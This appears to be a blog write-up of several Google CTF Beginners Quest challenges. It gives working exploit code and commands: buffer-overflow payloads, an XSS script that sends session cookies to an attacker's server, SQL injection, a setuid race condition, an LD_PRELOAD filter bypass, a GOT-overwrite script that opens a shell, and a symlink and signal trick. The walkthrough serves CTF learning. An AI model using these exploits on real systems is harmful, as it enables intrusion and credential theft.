This post documents Part 2 of my attempt to complete Google CTF: Beginners Quest. If you are uncomfortable with spoilers, please stop reading now.

On this post


Google concluded their Google CTF a month ago. I didn’t take part, so I thought of giving a go at the Beginners Quest first. I was thinking to myself, “how hard could this be?“—boy was I wrong. It’s not that easy.

The quest has nineteen challenges as shown in the quest map—each color representing a category: purple (misc), green (pwn/pwn-re), yellow (re), and blue (web). Every challenge, if there’s a need—contains an attachment—an archive file with its SHA256 hash as filename.

Letter Floppy Floppy 2 Moar Admin UI Admin UI 2 JS Safe OCR is Cool Security by Obscurity Router UI Message of the Day Poetry Fridge Todo List Admin UI 3 Filter Env Firmware Gatekeeper Media-DB Holey Beep

Click or tap on the circles above to go to the respective challenge and its write-up.

Admin UI 3

There’s no attachment in this challenge. Instead, we are to continue from the previous challenge.

Let’s go to where we left off in Admin UI 2 and see what happens after the authentication.

The execution flow goes to the function command_line() after authentication as you can see above.

Here, we are at the function getsx(), which reads from stdin, and the argument is the address of a buffer that stores the input. Notice that there’s no argument for the size of the input to read? I smell buffer overflow in the stack!

Let’s create a pattern with pattern_create.

And use that to determine the offset where we can control the return address.

We need to continue the execution flow in gdb until we exit the command_line function with the quit command. We’ll hit a segmentation fault because the return address is non-existent. We can then use the pattern_offset command to determine the offset.

The offset is 56 bytes but what should we overwrite the return address with?

There’s an interesting function debug_shell that wraps around the system library function to execute a shell command, but what is this command?

Awesome. The offset controls the return address, which in turn allows us to return to debug_shell at 0x41414227 to execute /bin/sh. Sounds like a plan.

For the exploit to work, we’ve to supply printable ASCII characters onto the limited shell—the return address 0x41414227 is 'BAA in little-endian ASCII.

We got shell!

The flag is CTF{c0d3ExEc?W411_pL4y3d}.


There’s no attachment in this challenge. Instead, we are to follow the link.

Looking at the instructions, it appears this challenge has something to do with enticing Wintermuted to click on a link; stealing session token through XSS; and bypassing the Chrome XSS Auditor. This is how looks like.

Anyhow, let’s go with (admin:password) and see what happens.

Hmm. Wrong credentials but interesting output. Notice that a double slash (“//”) separates the username and password? When was the last time you see a double slash (“//”)? If the answer is “URL”, you are right!

This is what RFC 3986: Uniform Resource Identifier (URI) has to say.

Guess what happens when we put <script src="https: into the username value and"></script> into the password value?

Wrong credentials: <script src=""></script>

The page at responds with the wrong credentials notification, and a <script> tag that loads bad JS from the domain.

The file bad.js can be simple as this to steal the session cookies registered with

document.location = '' + document.cookie;

Next up, we’ve to figure out the link to send to Wintermuted such that clicking the link has the same effect as POSTing the username and password as seen above to and triggering the bad JS, without any user interaction.

This is how it looks like.

    <form action="" method="post">
      <input type="text" name="username" value='<script src="https:'>
      <input type="password" name="password" value='"></script>'>
      <button type="submit">Submit</button>

Now that we’ve set up the stage, it’s time to test it out!

Once we’ve sent the email, Wintermuted will click on the link because who doesn’t like cats?

On the web server I control (I’m using Python SimpleHTTPServer module), we can see the HTTP requests that Wintermuted makes. And what do you see?


We see two cookies: flag and session. Let’s pop them into the cookie manager.

Now, we are able to login to

The flag is in the password <input> field.

The flag is CTF{Kao4pheitot7Ahmu}.


The attachment is here

Let’s unzip

# unzip -l
  Length      Date    Time    Name
---------  ---------- -----   ----
 85257917  1980-00-00 00:00   challenge.ext4.gz
---------                     -------
 85257917                     1 file

This file is huge (82MB) and it appears to contain a Linux ext4 filesystem.

# file challenge.ext4
challenge.ext4: Linux rev 1.0 ext4 filesystem data, UUID=00ed61e1-1230-4818-bffa-305e19e53758 (extents) (64bit) (large files) (huge files)

How do I mount a filesystem in a file? With mount of course!

There’s already something interesting for the curious.

# zcat .mediapc_backdoor_password.gz

The flag is CTF{I_kn0W_tH15_Fs}.


The attachment is here.

Let’s unzip

# unzip -l
  Length      Date    Time    Name
---------  ---------- -----   ----
    13152  1980-00-00 00:00   gatekeeper
---------                     -------
    13152                     1 file

The file gatekeeper is a ELF, an executable format commonly found in GNU/Linux distributions.

Reverse engineering is tough. You need all the help you can get by doing less of the demanding tasks like reading assembly; and by taking more shortcuts as possible such as looking at the strings of the file; and by observing the program’s behavior instead of putting every file into a debugger or disassembler.

Let’s take a look at the strings.

# strings -a gatekeeper
|               Gatekeeper - Access your PC from everywhere!                |
[ERROR] Login information missing
Usage: %s <username> <password>
 ~> Verifying.
 ~> Incorrect username
Welcome back!
 ~> Incorrect password

These strings looked interesting. Now, let’s run the program and look at its output.

Hmm. We need to supply username and password as arguments to the program. Let’s go with test:test.

Notice something? It didn’t say incorrect username or password, which suggests that the program evaluates the username and password one after another. Recall the interesting strings from above. Let’s pop in 0n3_W4rM as the username and see what happens.

The username 0n3_W4rM is correct. :smirk: Perhaps the password in the interesting strings as well? Let’s go with zLl1ks_d4m_T0g_I and see what happens.

Oops, wrong password. What if I reverse the password?

Look Ma, no assembly. :grin:

The flag is CTF{I_g0T_m4d_sk1lLz}.


There’s no attachment in this challenge. Instead, there’s a hint to connect to at port 1337 with nc.

Let’s do that.

I discover my first clue after playing around with the interface. Media-DB is running on Python code

The next clue comes after much persuasive coaxing by a well-known character in SQLi—the single quote. Well, two well-known characters actually—the backslash as well.

Media-DB is running on Python and SQLite. But, how do we proceed knowing this information? As you can see from above, the mechanism behind Option 4) shuffle artist is to display column artist and song from the table media after you have added a song through Option 1) add song.

Using UNION, we can glean hidden information in other tables. First, we need to find the available tables.

This is the database schema. Armed with this knowledge, we can dump out all the information in the database.

The flag is CTF{fridge_cast_oauth_token_cahn4Quo}.

Message of the Day

The attachment is here. And there’s a hint to connect to at port 1337 with nc.

Let’s unzip

# unzip -l
  Length      Date    Time    Name
---------  ---------- -----   ----
    33784  1980-00-00 00:00   motd
---------                     -------
    33784                     1 file

I’m guessing motd is the binary running behind, and we’ve to exploit it to pwn this challenge.

After playing around with the online version, the flag should be behind 4 - Get admin MOTD. Disassembling motd confirms my hunch. There’s a read_flag function in motd.

Other functions correspond to the options as well.

Well, to pwn this challenge, we need a way to enter user-supplied input to the binary. We have two such functions, set_admin_motd and set_motd.

The function set_admin_motd merely prints out a TODO message to stdout. That leaves set_motd for me to explore.

Unsafe function gets.

While I was stepping through set_motd, I noticed the use of an unsafe function gets. This is what the manpage of gets has to say.

Woohoo! A buffer overflow exploit—this means that I can send an input to overwrite the return address, but which address should I use? The address of read_flag of course.

Not so fast, Captain Obvious.

We also need to consider the offset that lets us control the return address. Let’s see how we can determine the offset.

First, let’s create a 300-byte pattern. This is how the pattern looks like.

After we supply the pattern as input to gets, let the program continue in gdb. We’ll soon encounter a segmentation fault.

Use pattern_offset to look for the pattern at the top of the stack, to determine the offset.

We now have all the ingredients to bake our exploit.

  • Offset is 264 bytes
  • Overwrite the return address to that of read_flag @ 0x606063a5
# perl -e 'print "A" x 264 . "\xa5\x63\x60\x60\x00\x00"' > sploit

Time to run the exploit.

The flag is CTF{m07d_1s_r3t_2_r34d_fl4g}


The attachment is here. And there’s a hint to connect to at port 1337 with nc.

Let’s unzip

# unzip -l
  Length      Date    Time    Name
---------  ---------- -----   ----
   917192  1980-00-00 00:00   poetry
---------                     -------
   917192                     1 file

This challenge is slightly different. Connecting to at port 1337 gives you a shell as user with an empty prompt string.

The attached file is at /home/poetry/poetry. The attached poetry and the online poetry have the same SHA256 hash.

SHA256 hash of attached poetry

SHA256 hash of online poetry

Having the identical executable will assist us in determining how to exploit it.

Right off the bat, I notice the following:

  • The executable is setuid to poetry
  • The executable is statically linked, which explains the size (917192 bytes).

The size is telling—this is perhaps a feeble attempt to throw off any analysis in reverse engineering the executable. Despite its size, the behavior of the executable is somewhat simple after some reverse engineering.

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

int main(int argc, char* argv[]) {
  if (!getenv("LD_BIND_NOW")) {
    char buf[4096];
    if (readlink("/proc/self/exe", buf, 4096)) {
      setenv("LD_BIND_NOW", "1", 1);
      execv(buf, argv);

  if (argc < 2) {
    return 0;
  } else {
    // do something

Searching for readlink, /proc/self/exe, and vulnerability in Google brings me to a old blog post on CVE-2009-1894.

Like the code of pulseaudio in the post, poetry is re-executing itself through /proc/self/exe, so that the dynamic linker performs all relocation at load-time. Here’s the irony—poetry is statically linked—it doesn’t require the dynamic linker.

Essentially, this challenge is about exploiting a race condition such that when we are reading the symbolic link /proc/self/exe through readlink; we create a hardlink and thereby control the path to a executable that we want to run; and have execv execute that instead. And because poetry is setuid to poetry, we want to run a executable that reads the flag at /home/poetry/flag. Let’s call it recite.c since we are reciting poetry after all.

#include <stdio.h>

int main() {
  char flag[20]; // the flag is 19 bytes in size
  FILE *f;
  f = fopen("/home/poetry/flag", "r");
  fgets(flag, 20, f);
  return 0;

There’s one small caveat—the online shell doesn’t have gcc. I’ve to compile recite.c locally, compress it, and transfer it over to the online shell through base64.

At the local machine, do the following:

# gcc -o recite recite.c
# gzip recite
# base64 recite.gz | tr -d '\n' && echo

At the online shell, do the following:

$ echo H4sICK...AAA= > recite.gz.b64
$ base64 -d < recite.gz.b64 > recite.gz
$ gunzip recite.gz
$ chmod +x recite

I chanced upon another blog post that documented a method to reliably exploit the race condition—through the file descriptor.

Now that we’ve set the stage, let’s proceed with the exploit.

Create a hardlink to /home/poetry/poetry. Let’s call it x for exploit.

Hardlink is a link to the same file with the same inode number (5). You can see that x is also setuid to poetry. Hardlink is not enabled by default for security reason (at least on my GNU/Linux distribution), which you’ll see why later. You can temporarily enable it by setting:

# echo 0 > /proc/sys/fs/protected_hardlinks

Next, we open a file descriptor to the hardlink in the current shell. Note that we have not executed the hardlink. We are merely ‘recording’ everything about the hardlink in the file descriptor.

Delete the hardlink.

You can see from above, there’s a (deleted) appended to x. The symbolic link appears broken but the hardlink is actually still present in the file descriptor.

Rename recite to x (deleted). Execute /proc/$$/fd/3 with exec.

When we execute the file descriptor, it’s the same as executing x— a hardlink to poetry (same owner, same setuid). When readlink reads /proc/self/exe, it’s actually reading /proc/$$/fd/3—itself a symbolic link to x (deleted), which is then supplied to execv as an argument for execution. Guess what, x (deleted) is now our recite program and recite dutifully prints out the flag.

The flag is CTF{CV3-2009-1894}.

Filter Env

The attachment is here. And there’s a hint to connect to at port 1337 with nc.

Let’s unzip

# unzip -l
  Length      Date    Time    Name
---------  ---------- -----   ----
     2425  1980-00-00 00:00   filterenv.c
---------                     -------
     2425                     1 file

This challenge is slightly different. Connecting to at port 1337 gives you a shell as user with an empty prompt string.

We have the executable filterenv and it’s setuid to adminimum. The flag is also readable by adminimum alone. I’m assuming the file filterenv.c in the attachment is the source code to filterenv.

From the source code, filterenv appears to do the following:

  1. Read an array of environment variables from stdin
  2. Clear the existing environment
  3. Load the array from Step 1 into the environment
  4. Filter unsafe environment variables
  5. Calls /usr/bin/id through execvp

The challenge is to manipulate the setuid program to read the flag through accepting user-controlled input at the readenv function. The program attempts input validation through filtering of unsafe environment variables at the filter_env function.

Let’s look at the filter_env function.

/* reset unsafe variables */
static void filter_env(void)
  char **p;

  for (p = unsafe; *p != NULL; p++) {
    if (getenv(*p) != NULL) {
      if (setenv(*p, "", 1) != 0)
  err(1, "setenv");

  /* just be safe, prevent heap spraying attacks */

The function iterates through the unsafe array, evaluates the existence of each environment variable—if it exists in the environment, sets it to an empty string.

There’s a problem with this approach. Suppose there are two identical environment variables in the environment, filter_env will filter the first one and leave out the second one because the getenv function returns the pointer to the first matching environment variable.

Armed with this information, we can provide two identical unsafe environment variables, filter the first one and load the second one into the environment.

Let’s use the LD_PRELOAD environment variable. This is what says about LD_PRELOAD.

This should work because execvp takes the extern variable environ as the environment. Also, /usr/bin/id is a dynamically-linked executable and the dynamic loader will honor the LD_PRELOAD environment variable.

The shared object loaded in LD_PRELOAD should help us read the flag. This simple code readflag.c does that.

#include <stdio.h>

void _init() {
	char flag[20]; // the flag is 19 bytes
	FILE *f;
	f = fopen("/home/adminimum/flag", "r");
	fgets(flag, 20, f);

There’s one small caveat—the online shell doesn’t have gcc. I’ve to compile readflag.c locally, compress it, and transfer it over to the online shell through base64.

At the local machine, do the following:

# gcc -fPIC -shared -nostartfiles -o readflag.c
# gzip
# base64 | tr -d '\n' && echo

At the online shell, do the following:

$ echo H4sIC...AAA= > /tmp/
$ base64 -d < /tmp/ > /tmp/
$ gunzip /tmp/

Let’s give it a shot.

The flag is CTF{H3ll0-Kingc0p3}.

Fridge Todo List

The attachement is here. And there’s a hint to connect to at port 1337 with nc.

Let’s unzip

# unzip -l
  Length      Date    Time    Name
---------  ---------- -----   ----
    18224  1980-00-00 00:00   todo
     9197  1980-00-00 00:00   todo.c
---------                     -------
    27421                     2 files

This challenge requires us to play the role of a bug hunter. We need to find the bug that will let us exploit it to reveal the flag. Good thing we have the source code. We can compile it with gcc -g to generate debug information, allowing us to debug with more ease.

# gcc -g -Wall -o todo todo.c

It wasn’t long before I chanced upon a bug. The program accepts negative integer and there’s different output depending on the input.

The bug is there when you look at the code responsible for printing the TODO entry.

Because todos is an array, it’s also a pointer. As such, we are able to read arbitrary memory address, at TODO_LENGTH (48 bytes) boundary with the format string parameter %s in the printf function.

Here we are, at the point where idx = -2 and before the TODO entry gets print out. You can see the address of todos and todos[idx*TODO_LENGTH].

If printing the TODO entry is reading memory at user-controlled address, then storing the TODO entry is writing memory at user-controlled address. Let’s look at the store_todo function.

Here’s what we see when we look at the memory address of the sections in the program.

The .got.plt section is the global offset table (GOT) for the procedure linkage table (PLT) where it contains the resolved target addresses or unresolved addresses from the PLT, waiting to trigger the target address resolution routine when called.

Look how close todos (0x555555559140) is to the .got.plt section (0x555555559000) in the memory.

The .got.plt section is a common target for exploitation because you can change a function to some other executable code you control. Let’s look at the available PLT functions.

From the functions above, [email protected] should be the target. Why?

If you look at the source code, you can see that [email protected] takes in a string as an argument from stdin, after every option gets completed in the while loop. If [email protected] changes to [email protected], and the argument is /bin/sh, guess what will happen? You get a shell.

To do that, we need to determine the following in a position-independent way:

The GOT of [email protected] remains unresolved until it’s used to write the todos array to file at the end of the program.

We can use -6 as the index to read the memory at 0x555555559020, the GOT of [email protected], where 0x555555559140 is the address of todos.

Assuming the offsets remain unchanged, [email protected] (0x555555555070) is at 0x2a away from the unresolved address of [email protected] (0x55555555046).

We can use -4 as the index to write to the memory at 0x555555559088, the GOT of [email protected], where 0x555555559140 is the address of todos. Note that we need eight junk bytes to jump over 0x555555559080 to write to 0x555555559088.

Now that we’ve set the stage, let’s proceed with the exploitation. To that end, I wrote this simple Python script, The script contains a telnet client at the end to interact with the program.
from socket import *
from struct import *
from telnetlib import *

s = socket(AF_INET, SOCK_STREAM)
s.connect(("", 1337))

def recv(e):
  r = ""
  while True:
    r += s.recv(1)
    if r.endswith(e):
  return r

print recv(": ")

print recv("> ")
print recv("? ")
s.send("-6\n")  # read the GOT of [email protected] and print its unresolved address
v = recv("> ")
v = v.split("\n")[0].split(" ")[-1]
v = v + "\0" * (8 - len(v))
write = unpack("<Q", v)[0]  # store unresolved [email protected] address for offset calculation
print "\n*** Unresolved address of [email protected] is at 0x%08x ***" % write

print recv("? ")
s.send("-4\n")  # write to the GOT of [email protected]
print recv("? ")
s.send("JUMPOVER" + pack("<Q", write + 0x2a)[:8] + "\n")
# 8 bytes to jump over; [email protected] is at write+0x2a

t = Telnet()
t.sock = s

Let’s give it a shot.

Now that we know Wintermuted is CountZero, let’s look at the TODO list the right way.

The flag is CTF{}.

Holey Beep

The attachment is here.

Let’s unzip

# unzip -l
  Length      Date    Time    Name
---------  ---------- -----   ----
     9000  1980-00-00 00:00   holey_beep
---------                     -------
     9000                     1 file

There’s no source code in this challenge. I’ve no choice but to put my reverse engineering skills to good use.

This is my result of reversing engineering the executable back to source code. I’m confident this is close to the original source code. The compiled executable is almost identical to holey_beep line for line after disassembly.

#include <err.h>
#include <fcntl.h>
#include <signal.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/ioctl.h>
#include <linux/kd.h>

int device = -1;
char *USAGE = "usage: holey_beep period1 [period2] [period3] [...]";

void handle_sigterm(int signum) {

  if (!(device < 0)) {
    if  (ioctl(device, KIOCSOUND, 0) < 0) {
      fprintf(stderr, "ioctl(%d, KIOCSOUND, 0) failed.", device);
      char data[1024] = {0};
      read(device, &data, sizeof(data)-1);
      fprintf(stderr, "debug_data: \"%s\"", data);

int main(int argc, char *argv[]) {
  if (signal(SIGTERM, handle_sigterm) == (void *)-1)
    errx(1, "signal");

  if (argc <= 1)
    errx(1, USAGE);

  for (int i = 1; i < argc; i++) {
    if ((device = open("dev/console", O_RDONLY)) < 0) {
      errx(1, "open(\"dev/console\", O_RDONLY)");
    } else {
      int period = atoi(argv[i]);
      if (ioctl(device, KIOCSOUND, period) < 0)
        fprintf(stderr, "ioctl(%d, KIOCSOUND, %d) failed.", device, period);

With the source code in hand, exploiting the setuid holey_beep becomes trivial.

Right off the bat, the program registers a signal handling function, handle_sigterm, which will take control of execution when SIGTERM, a termination signal gets sent to the program.

If the file descriptor device is a positive number, the program will read 1023 bytes from it and print the result to stderr. Note that the signal handler is counting on ioctl to fail.

Under what circumstances will ioctl fail? As long as the file descriptor is not opened to a character device, ioctl fails. Simple as that.

We could create a symbolic link between /secret_cake_recipe and dev/console. When the program executes, a file descriptor gets opened to dev/console (not a character device) which is a symbolic link to /secret_cake_recipe. Perfect.

Now, how do we send a SIGTERM while the program is running? To that end, I wrote woot.c to automate this.

#include <signal.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

int main(int argc, char *argv[]) {
  pid_t pid = fork();

  if (pid == 0) {
    char *args[] = {"/home/user/holey_beep", "0", NULL};
    execv(args[0], args);
  } else {
    kill(pid, SIGTERM);

  return 0;

We’ll need to use the shell from the previous challenge. Remember, there’s no gcc, so we’ll have to compile it locally, compress it and then copy the base64 representation over to the shell. In the shell, we’ll have to reverse the process.

At the local machine, do the following:

# gcc -o woot woot.c
# gzip woot
# base64 woot.gz | tr -d '\n' && echo

At the shell, do the following:

$ cd /tmp && mkdir dev && ln -s /secret_cake_recipe dev/console
$ echo H4sI...AAA= > woot.gz.b64
$ base64 -d < woot.gz.b64 > woot.gz
$ gunzip woot.gz
$ chmod +x woot

Let’s give it a shot.

The flag is CTF{the_cake_wasnt_a_lie}.